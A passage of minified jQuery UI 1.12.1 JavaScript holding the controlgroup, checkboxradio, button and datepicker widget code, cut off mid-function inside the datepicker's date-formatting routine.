ui-controlgroup-"+this.options.direction),"horizontal"===this.options.direction&&this._addClass(null,"ui-helper-clearfix"),this._initWidgets(),e=this.childWidgets,this.options.onlyVisible&&(e=e.filter(":visible")),e.length&&(t.each(["first","last"],function(t,s){var n=e[s]().data("ui-controlgroup-data");if(n&&i["_"+n.widgetName+"Options"]){var o=i["_"+n.widgetName+"Options"](1===e.length?"only":s);o.classes=i._resolveClassesValues(o.classes,n),n.element[n.widgetName](o)}else i._updateCornerClass(e[s](),s)}),this._callChildMethod("refresh"))}}),t.widget("ui.checkboxradio",[t.ui.formResetMixin,{version:"1.12.1",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var e,i,s=this,n=this._super()||{};return this._readType(),i=this.element.labels(),this.label=t(i[i.length-1]),this.label.length||t.error("No label found for checkboxradio widget"),this.originalLabel="",this.label.contents().not(this.element[0]).each(function(){s.originalLabel+=3===this.nodeType?t(this).text():this.outerHTML}),this.originalLabel&&(n.label=this.originalLabel),e=this.element[0].disabled,null!=e&&(n.disabled=e),n},_create:function(){var t=this.element[0].checked;this._bindFormResetHandler(),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled),this._setOption("disabled",this.options.disabled),this._addClass("ui-checkboxradio","ui-helper-hidden-accessible"),this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget"),"radio"===this.type&&this._addClass(this.label,"ui-checkboxradio-radio-label"),this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel),this._enhance(),t&&(this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active"),this.icon&&this._addClass(this.icon,null,"ui-state-hover")),this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var e=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type,"input"===e&&/radio|checkbox/.test(this.type)||t.error("Can't create checkboxradio on element.nodeName="+e+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var e,i=this.element[0].name,s="input[name='"+t.ui.escapeSelector(i)+"']";return i?(e=this.form.length?t(this.form[0].elements).filter(s):t(s).filter(function(){return 0===t(this).form().length}),e.not(this.element)):t([])},_toggleClasses:function(){var e=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",e),this.options.icon&&"checkbox"===this.type&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",e)._toggleClass(this.icon,null,"ui-icon-blank",!e),"radio"===this.type&&this._getRadioGroup().each(function(){var e=t(this).checkboxradio("instance");e&&e._removeClass(e.label,"ui-checkboxradio-checked","ui-state-active")})},_destroy:function(){this._unbindFormResetHandler(),this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(t,e){return"label"!==t||e?(this._super(t,e),"disabled"===t?(this._toggleClass(this.label,null,"ui-state-disabled",e),this.element[0].disabled=e,void 0):(this.refresh(),void 0)):void 0},_updateIcon:function(e){var i="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=t("<span>"),this.iconSpace=t("<span> </span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),"checkbox"===this.type?(i+=e?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,e?"ui-icon-blank":"ui-icon-check")):i+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",i),e||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):void 0!==this.icon&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var t=this.label.contents().not(this.element[0]);this.icon&&(t=t.not(this.icon[0])),this.iconSpace&&(t=t.not(this.iconSpace[0])),t.remove(),this.label.append(this.options.label)},refresh:function(){var t=this.element[0].checked,e=this.element[0].disabled;this._updateIcon(t),this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t),null!==this.options.label&&this._updateLabel(),e!==this.options.disabled&&this._setOptions({disabled:e})}}]),t.ui.checkboxradio,t.widget("ui.button",{version:"1.12.1",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var t,e=this._super()||{};return this.isInput=this.element.is("input"),t=this.element[0].disabled,null!=t&&(e.disabled=t),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(e.label=this.originalLabel),e},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled||!1),this.hasTitle=!!this.element.attr("title"),this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(e){e.keyCode===t.ui.keyCode.SPACE&&(e.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button"),this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title"),this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(e,i){var s="iconPosition"!==e,n=s?this.options.iconPosition:i,o="top"===n||"bottom"===n;this.icon?s&&this._removeClass(this.icon,null,this.options.icon):(this.icon=t("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only")),s&&this._addClass(this.icon,null,i),this._attachIcon(n),o?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=t("<span> </span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(n))},_destroy:function(){this.element.removeAttr("role"),this.icon&&this.icon.remove(),this.iconSpace&&this.iconSpace.remove(),this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(t){this.icon[/^(?:end|bottom)/.test(t)?"before":"after"](this.iconSpace)},_attachIcon:function(t){this.element[/^(?:end|bottom)/.test(t)?"append":"prepend"](this.icon)},_setOptions:function(t){var e=void 0===t.showLabel?this.options.showLabel:t.showLabel,i=void 0===t.icon?this.options.icon:t.icon;e||i||(t.showLabel=!0),this._super(t)},_setOption:function(t,e){"icon"===t&&(e?this._updateIcon(t,e):this.icon&&(this.icon.remove(),this.iconSpace&&this.iconSpace.remove())),"iconPosition"===t&&this._updateIcon(t,e),"showLabel"===t&&(this._toggleClass("ui-button-icon-only",null,!e),this._updateTooltip()),"label"===t&&(this.isInput?this.element.val(e):(this.element.html(e),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition)))),this._super(t,e),"disabled"===t&&(this._toggleClass(null,"ui-state-disabled",e),this.element[0].disabled=e,e&&this.element.blur())},refresh:function(){var t=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOptions({disabled:t}),this._updateTooltip()}}),t.uiBackCompat!==!1&&(t.widget("ui.button",t.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text),!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel),this.options.icon||!this.options.icons.primary&&!this.options.icons.secondary?this.options.icon&&(this.options.icons.primary=this.options.icon):this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"),this._super()},_setOption:function(t,e){return"text"===t?(this._super("showLabel",e),void 0):("showLabel"===t&&(this.options.text=e),"icon"===t&&(this.options.icons.primary=e),"icons"===t&&(e.primary?(this._super("icon",e.primary),this._super("iconPosition","beginning")):e.secondary&&(this._super("icon",e.secondary),this._super("iconPosition","end"))),this._superApply(arguments),void 0)}}),t.fn.button=function(e){return function(){return!this.length||this.length&&"INPUT"!==this[0].tagName||this.length&&"INPUT"===this[0].tagName&&"checkbox"!==this.attr("type")&&"radio"!==this.attr("type")?e.apply(this,arguments):(t.ui.checkboxradio||t.error("Checkboxradio widget missing"),0===arguments.length?this.checkboxradio({icon:!1}):this.checkboxradio.apply(this,arguments))}}(t.fn.button),t.fn.buttonset=function(){return t.ui.controlgroup||t.error("Controlgroup widget missing"),"option"===arguments[0]&&"items"===arguments[1]&&arguments[2]?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):"option"===arguments[0]&&"items"===arguments[1]?this.controlgroup.apply(this,[arguments[0],"items.button"]):("object"==typeof arguments[0]&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))}),t.ui.button,t.extend(t.ui,{datepicker:{version:"1.12.1"}});var m;t.extend(s.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(t){return a(this._defaults,t||{}),this},_attachDatepicker:function(e,i){var s,n,o;s=e.nodeName.toLowerCase(),n="div"===s||"span"===s,e.id||(this.uuid+=1,e.id="dp"+this.uuid),o=this._newInst(t(e),n),o.settings=t.extend({},i||{}),"input"===s?this._connectDatepicker(e,o):n&&this._inlineDatepicker(e,o)},_newInst:function(e,i){var s=e[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1");return{id:s,input:e,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?n(t("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(e,i){var s=t(e);i.append=t([]),i.trigger=t([]),s.hasClass(this.markerClassName)||(this._attachments(s,i),s.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp),this._autoSize(i),t.data(e,"datepicker",i),i.settings.disabled&&this._disableDatepicker(e))},_attachments:function(e,i){var s,n,o,a=this._get(i,"appendText"),r=this._get(i,"isRTL");i.append&&i.append.remove(),a&&(i.append=t("<span class='"+this._appendClass+"'>"+a+"</span>"),e[r?"before":"after"](i.append)),e.off("focus",this._showDatepicker),i.trigger&&i.trigger.remove(),s=this._get(i,"showOn"),("focus"===s||"both"===s)&&e.on("focus",this._showDatepicker),("button"===s||"both"===s)&&(n=this._get(i,"buttonText"),o=this._get(i,"buttonImage"),i.trigger=t(this._get(i,"buttonImageOnly")?t("<img/>").addClass(this._triggerClass).attr({src:o,alt:n,title:n}):t("<button type='button'></button>").addClass(this._triggerClass).html(o?t("<img/>").attr({src:o,alt:n,title:n}):n)),e[r?"before":"after"](i.trigger),i.trigger.on("click",function(){return t.datepicker._datepickerShowing&&t.datepicker._lastInput===e[0]?t.datepicker._hideDatepicker():t.datepicker._datepickerShowing&&t.datepicker._lastInput!==e[0]?(t.datepicker._hideDatepicker(),t.datepicker._showDatepicker(e[0])):t.datepicker._showDatepicker(e[0]),!1}))},_autoSize:function(t){if(this._get(t,"autoSize")&&!t.inline){var e,i,s,n,o=new Date(2009,11,20),a=this._get(t,"dateFormat");a.match(/[DM]/)&&(e=function(t){for(i=0,s=0,n=0;t.length>n;n++)t[n].length>i&&(i=t[n].length,s=n);return s},o.setMonth(e(this._get(t,a.match(/MM/)?"monthNames":"monthNamesShort"))),o.setDate(e(this._get(t,a.match(/DD/)?"dayNames":"dayNamesShort"))+20-o.getDay())),t.input.attr("size",this._formatDate(t,o).length)}},_inlineDatepicker:function(e,i){var s=t(e);s.hasClass(this.markerClassName)||(s.addClass(this.markerClassName).append(i.dpDiv),t.data(e,"datepicker",i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(e),i.dpDiv.css("display","block"))},_dialogDatepicker:function(e,i,s,n,o){var r,h,l,c,u,d=this._dialogInst;return d||(this.uuid+=1,r="dp"+this.uuid,this._dialogInput=t("<input type='text' id='"+r+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.on("keydown",this._doKeyDown),t("body").append(this._dialogInput),d=this._dialogInst=this._newInst(this._dialogInput,!1),d.settings={},t.data(this._dialogInput[0],"datepicker",d)),a(d.settings,n||{}),i=i&&i.constructor===Date?this._formatDate(d,i):i,this._dialogInput.val(i),this._pos=o?o.length?o:[o.pageX,o.pageY]:null,this._pos||(h=document.documentElement.clientWidth,l=document.documentElement.clientHeight,c=document.documentElement.scrollLeft||document.body.scrollLeft,u=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[h/2-100+c,l/2-150+u]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),d.settings.onSelect=s,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),t.blockUI&&t.blockUI(this.dpDiv),t.data(this._dialogInput[0],"datepicker",d),this},_destroyDatepicker:function(e){var i,s=t(e),n=t.data(e,"datepicker");s.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),t.removeData(e,"datepicker"),"input"===i?(n.append.remove(),n.trigger.remove(),s.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):("div"===i||"span"===i)&&s.removeClass(this.markerClassName).empty(),m===n&&(m=null))},_enableDatepicker:function(e){var i,s,n=t(e),o=t.data(e,"datepicker");n.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),"input"===i?(e.disabled=!1,o.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().removeClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=t.map(this._disabledInputs,function(t){return t===e?null:t}))},_disableDatepicker:function(e){var i,s,n=t(e),o=t.data(e,"datepicker");n.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),"input"===i?(e.disabled=!0,o.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().addClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=t.map(this._disabledInputs,function(t){return t===e?null:t}),this._disabledInputs[this._disabledInputs.length]=e)},_isDisabledDatepicker:function(t){if(!t)return!1;for(var e=0;this._disabledInputs.length>e;e++)if(this._disabledInputs[e]===t)return!0;return!1},_getInst:function(e){try{return t.data(e,"datepicker")}catch(i){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(e,i,s){var n,o,r,h,l=this._getInst(e);return 2===arguments.length&&"string"==typeof i?"defaults"===i?t.extend({},t.datepicker._defaults):l?"all"===i?t.extend({},l.settings):this._get(l,i):null:(n=i||{},"string"==typeof i&&(n={},n[i]=s),l&&(this._curInst===l&&this._hideDatepicker(),o=this._getDateDatepicker(e,!0),r=this._getMinMaxDate(l,"min"),h=this._getMinMaxDate(l,"max"),a(l.settings,n),null!==r&&void 0!==n.dateFormat&&void 0===n.minDate&&(l.settings.minDate=this._formatDate(l,r)),null!==h&&void 0!==n.dateFormat&&void 0===n.maxDate&&(l.settings.maxDate=this._formatDate(l,h)),"disabled"in n&&(n.disabled?this._disableDatepicker(e):this._enableDatepicker(e)),this._attachments(t(e),l),this._autoSize(l),this._setDate(l,o),this._updateAlternate(l),this._updateDatepicker(l)),void 0)},_changeDatepicker:function(t,e,i){this._optionDatepicker(t,e,i)},_refreshDatepicker:function(t){var e=this._getInst(t);e&&this._updateDatepicker(e)},_setDateDatepicker:function(t,e){var i=this._getInst(t);i&&(this._setDate(i,e),this._updateDatepicker(i),this._updateAlternate(i))},_getDateDatepicker:function(t,e){var i=this._getInst(t);return i&&!i.inline&&this._setDateFromField(i,e),i?this._getDate(i):null},_doKeyDown:function(e){var i,s,n,o=t.datepicker._getInst(e.target),a=!0,r=o.dpDiv.is(".ui-datepicker-rtl");if(o._keyEvent=!0,t.datepicker._datepickerShowing)switch(e.keyCode){case 9:t.datepicker._hideDatepicker(),a=!1;break;case 13:return n=t("td."+t.datepicker._dayOverClass+":not(."+t.datepicker._currentClass+")",o.dpDiv),n[0]&&t.datepicker._selectDay(e.target,o.selectedMonth,o.selectedYear,n[0]),i=t.datepicker._get(o,"onSelect"),i?(s=t.datepicker._formatDate(o),i.apply(o.input?o.input[0]:null,[s,o])):t.datepicker._hideDatepicker(),!1;case 27:t.datepicker._hideDatepicker();break;case 33:t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(o,"stepBigMonths"):-t.datepicker._get(o,"stepMonths"),"M");break;case 34:t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(o,"stepBigMonths"):+t.datepicker._get(o,"stepMonths"),"M");break;case 35:(e.ctrlKey||e.metaKey)&&t.datepicker._clearDate(e.target),a=e.ctrlKey||e.metaKey;break;case 36:(e.ctrlKey||e.metaKey)&&t.datepicker._gotoToday(e.target),a=e.ctrlKey||e.metaKey;break;case 37:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,r?1:-1,"D"),a=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(o,"stepBigMonths"):-t.datepicker._get(o,"stepMonths"),"M");break;case 38:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,-7,"D"),a=e.ctrlKey||e.metaKey;break;case 39:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,r?-1:1,"D"),a=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(o,"stepBigMonths"):+t.datepicker._get(o,"stepMonths"),"M");break;case 40:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,7,"D"),a=e.ctrlKey||e.metaKey;break;default:a=!1}else 36===e.keyCode&&e.ctrlKey?t.datepicker._showDatepicker(this):a=!1;a&&(e.preventDefault(),e.stopPropagation())},_doKeyPress:function(e){var i,s,n=t.datepicker._getInst(e.target);return t.datepicker._get(n,"constrainInput")?(i=t.datepicker._possibleChars(t.datepicker._get(n,"dateFormat")),s=String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),e.ctrlKey||e.metaKey||" ">s||!i||i.indexOf(s)>-1):void 0},_doKeyUp:function(e){var i,s=t.datepicker._getInst(e.target);if(s.input.val()!==s.lastVal)try{i=t.datepicker.parseDate(t.datepicker._get(s,"dateFormat"),s.input?s.input.val():null,t.datepicker._getFormatConfig(s)),i&&(t.datepicker._setDateFromField(s),t.datepicker._updateAlternate(s),t.datepicker._updateDatepicker(s))}catch(n){}return!0},_showDatepicker:function(e){if(e=e.target||e,"input"!==e.nodeName.toLowerCase()&&(e=t("input",e.parentNode)[0]),!t.datepicker._isDisabledDatepicker(e)&&t.datepicker._lastInput!==e){var s,n,o,r,h,l,c;s=t.datepicker._getInst(e),t.datepicker._curInst&&t.datepicker._curInst!==s&&(t.datepicker._curInst.dpDiv.stop(!0,!0),s&&t.datepicker._datepickerShowing&&t.datepicker._hideDatepicker(t.datepicker._curInst.input[0])),n=t.datepicker._get(s,"beforeShow"),o=n?n.apply(e,[e,s]):{},o!==!1&&(a(s.settings,o),s.lastVal=null,t.datepicker._lastInput=e,t.datepicker._setDateFromField(s),t.datepicker._inDialog&&(e.value=""),t.datepicker._pos||(t.datepicker._pos=t.datepicker._findPos(e),t.datepicker._pos[1]+=e.offsetHeight),r=!1,t(e).parents().each(function(){return r|="fixed"===t(this).css("position"),!r}),h={left:t.datepicker._pos[0],top:t.datepicker._pos[1]},t.datepicker._pos=null,s.dpDiv.empty(),s.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),t.datepicker._updateDatepicker(s),h=t.datepicker._checkOffset(s,h,r),s.dpDiv.css({position:t.datepicker._inDialog&&t.blockUI?"static":r?"fixed":"absolute",display:"none",left:h.left+"px",top:h.top+"px"}),s.inline||(l=t.datepicker._get(s,"showAnim"),c=t.datepicker._get(s,"duration"),s.dpDiv.css("z-index",i(t(e))+1),t.datepicker._datepickerShowing=!0,t.effects&&t.effects.effect[l]?s.dpDiv.show(l,t.datepicker._get(s,"showOptions"),c):s.dpDiv[l||"show"](l?c:null),t.datepicker._shouldFocusInput(s)&&s.input.trigger("focus"),t.datepicker._curInst=s))
}},_updateDatepicker:function(e){this.maxRows=4,m=e,e.dpDiv.empty().append(this._generateHTML(e)),this._attachHandlers(e);var i,s=this._getNumberOfMonths(e),n=s[1],a=17,r=e.dpDiv.find("."+this._dayOverClass+" a");r.length>0&&o.apply(r.get(0)),e.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),n>1&&e.dpDiv.addClass("ui-datepicker-multi-"+n).css("width",a*n+"em"),e.dpDiv[(1!==s[0]||1!==s[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),e.dpDiv[(this._get(e,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),e===t.datepicker._curInst&&t.datepicker._datepickerShowing&&t.datepicker._shouldFocusInput(e)&&e.input.trigger("focus"),e.yearshtml&&(i=e.yearshtml,setTimeout(function(){i===e.yearshtml&&e.yearshtml&&e.dpDiv.find("select.ui-datepicker-year:first").replaceWith(e.yearshtml),i=e.yearshtml=null},0))},_shouldFocusInput:function(t){return t.input&&t.input.is(":visible")&&!t.input.is(":disabled")&&!t.input.is(":focus")},_checkOffset:function(e,i,s){var n=e.dpDiv.outerWidth(),o=e.dpDiv.outerHeight(),a=e.input?e.input.outerWidth():0,r=e.input?e.input.outerHeight():0,h=document.documentElement.clientWidth+(s?0:t(document).scrollLeft()),l=document.documentElement.clientHeight+(s?0:t(document).scrollTop());return i.left-=this._get(e,"isRTL")?n-a:0,i.left-=s&&i.left===e.input.offset().left?t(document).scrollLeft():0,i.top-=s&&i.top===e.input.offset().top+r?t(document).scrollTop():0,i.left-=Math.min(i.left,i.left+n>h&&h>n?Math.abs(i.left+n-h):0),i.top-=Math.min(i.top,i.top+o>l&&l>o?Math.abs(o+r):0),i},_findPos:function(e){for(var i,s=this._getInst(e),n=this._get(s,"isRTL");e&&("hidden"===e.type||1!==e.nodeType||t.expr.filters.hidden(e));)e=e[n?"previousSibling":"nextSibling"];return i=t(e).offset(),[i.left,i.top]},_hideDatepicker:function(e){var i,s,n,o,a=this._curInst;!a||e&&a!==t.data(e,"datepicker")||this._datepickerShowing&&(i=this._get(a,"showAnim"),s=this._get(a,"duration"),n=function(){t.datepicker._tidyDialog(a)},t.effects&&(t.effects.effect[i]||t.effects[i])?a.dpDiv.hide(i,t.datepicker._get(a,"showOptions"),s,n):a.dpDiv["slideDown"===i?"slideUp":"fadeIn"===i?"fadeOut":"hide"](i?s:null,n),i||n(),this._datepickerShowing=!1,o=this._get(a,"onClose"),o&&o.apply(a.input?a.input[0]:null,[a.input?a.input.val():"",a]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),t.blockUI&&(t.unblockUI(),t("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(t){t.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(e){if(t.datepicker._curInst){var i=t(e.target),s=t.datepicker._getInst(i[0]);(i[0].id!==t.datepicker._mainDivId&&0===i.parents("#"+t.datepicker._mainDivId).length&&!i.hasClass(t.datepicker.markerClassName)&&!i.closest("."+t.datepicker._triggerClass).length&&t.datepicker._datepickerShowing&&(!t.datepicker._inDialog||!t.blockUI)||i.hasClass(t.datepicker.markerClassName)&&t.datepicker._curInst!==s)&&t.datepicker._hideDatepicker()}},_adjustDate:function(e,i,s){var n=t(e),o=this._getInst(n[0]);this._isDisabledDatepicker(n[0])||(this._adjustInstDate(o,i+("M"===s?this._get(o,"showCurrentAtPos"):0),s),this._updateDatepicker(o))},_gotoToday:function(e){var i,s=t(e),n=this._getInst(s[0]);this._get(n,"gotoCurrent")&&n.currentDay?(n.selectedDay=n.currentDay,n.drawMonth=n.selectedMonth=n.currentMonth,n.drawYear=n.selectedYear=n.currentYear):(i=new Date,n.selectedDay=i.getDate(),n.drawMonth=n.selectedMonth=i.getMonth(),n.drawYear=n.selectedYear=i.getFullYear()),this._notifyChange(n),this._adjustDate(s)},_selectMonthYear:function(e,i,s){var n=t(e),o=this._getInst(n[0]);o["selected"+("M"===s?"Month":"Year")]=o["draw"+("M"===s?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(o),this._adjustDate(n)},_selectDay:function(e,i,s,n){var o,a=t(e);t(n).hasClass(this._unselectableClass)||this._isDisabledDatepicker(a[0])||(o=this._getInst(a[0]),o.selectedDay=o.currentDay=t("a",n).html(),o.selectedMonth=o.currentMonth=i,o.selectedYear=o.currentYear=s,this._selectDate(e,this._formatDate(o,o.currentDay,o.currentMonth,o.currentYear)))},_clearDate:function(e){var i=t(e);this._selectDate(i,"")},_selectDate:function(e,i){var s,n=t(e),o=this._getInst(n[0]);i=null!=i?i:this._formatDate(o),o.input&&o.input.val(i),this._updateAlternate(o),s=this._get(o,"onSelect"),s?s.apply(o.input?o.input[0]:null,[i,o]):o.input&&o.input.trigger("change"),o.inline?this._updateDatepicker(o):(this._hideDatepicker(),this._lastInput=o.input[0],"object"!=typeof o.input[0]&&o.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(e){var i,s,n,o=this._get(e,"altField");o&&(i=this._get(e,"altFormat")||this._get(e,"dateFormat"),s=this._getDate(e),n=this.formatDate(i,s,this._getFormatConfig(e)),t(o).val(n))},noWeekends:function(t){var e=t.getDay();return[e>0&&6>e,""]},iso8601Week:function(t){var e,i=new Date(t.getTime());return i.setDate(i.getDate()+4-(i.getDay()||7)),e=i.getTime(),i.setMonth(0),i.setDate(1),Math.floor(Math.round((e-i)/864e5)/7)+1},parseDate:function(e,i,s){if(null==e||null==i)throw"Invalid arguments";if(i="object"==typeof i?""+i:i+"",""===i)return null;var n,o,a,r,h=0,l=(s?s.shortYearCutoff:null)||this._defaults.shortYearCutoff,c="string"!=typeof l?l:(new Date).getFullYear()%100+parseInt(l,10),u=(s?s.dayNamesShort:null)||this._defaults.dayNamesShort,d=(s?s.dayNames:null)||this._defaults.dayNames,p=(s?s.monthNamesShort:null)||this._defaults.monthNamesShort,f=(s?s.monthNames:null)||this._defaults.monthNames,g=-1,m=-1,_=-1,v=-1,b=!1,y=function(t){var i=e.length>n+1&&e.charAt(n+1)===t;return i&&n++,i},w=function(t){var e=y(t),s="@"===t?14:"!"===t?20:"y"===t&&e?4:"o"===t?3:2,n="y"===t?s:1,o=RegExp("^\\d{"+n+","+s+"}"),a=i.substring(h).match(o);if(!a)throw"Missing number at position "+h;return h+=a[0].length,parseInt(a[0],10)},k=function(e,s,n){var o=-1,a=t.map(y(e)?n:s,function(t,e){return[[e,t]]}).sort(function(t,e){return-(t[1].length-e[1].length)});if(t.each(a,function(t,e){var s=e[1];return i.substr(h,s.length).toLowerCase()===s.toLowerCase()?(o=e[0],h+=s.length,!1):void 0}),-1!==o)return o+1;throw"Unknown name at position "+h},x=function(){if(i.charAt(h)!==e.charAt(n))throw"Unexpected literal at position "+h;h++};for(n=0;e.length>n;n++)if(b)"'"!==e.charAt(n)||y("'")?x():b=!1;else switch(e.charAt(n)){case"d":_=w("d");break;case"D":k("D",u,d);break;case"o":v=w("o");break;case"m":m=w("m");break;case"M":m=k("M",p,f);break;case"y":g=w("y");break;case"@":r=new Date(w("@")),g=r.getFullYear(),m=r.getMonth()+1,_=r.getDate();break;case"!":r=new Date((w("!")-this._ticksTo1970)/1e4),g=r.getFullYear(),m=r.getMonth()+1,_=r.getDate();break;case"'":y("'")?x():b=!0;break;default:x()}if(i.length>h&&(a=i.substr(h),!/^\s+/.test(a)))throw"Extra/unparsed characters found in date: "+a;if(-1===g?g=(new Date).getFullYear():100>g&&(g+=(new Date).getFullYear()-(new Date).getFullYear()%100+(c>=g?0:-100)),v>-1)for(m=1,_=v;;){if(o=this._getDaysInMonth(g,m-1),o>=_)break;m++,_-=o}if(r=this._daylightSavingAdjust(new Date(g,m-1,_)),r.getFullYear()!==g||r.getMonth()+1!==m||r.getDate()!==_)throw"Invalid date";return r},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:1e7*60*60*24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925)),formatDate:function(t,e,i){if(!e)return"";var s,n=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,o=(i?i.dayNames:null)||this._defaults.dayNames,a=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,r=(i?i.monthNames:null)||this._defaults.monthNames,h=function(e){var i=t.length>s+1&&t.charAt(s+1)===e;return i&&s++,i},l=function(t,e,i){var s=""+e;if(h(t))for(;i>s.length;)s="0"+s;return s},c=function(t,e,i,s){return 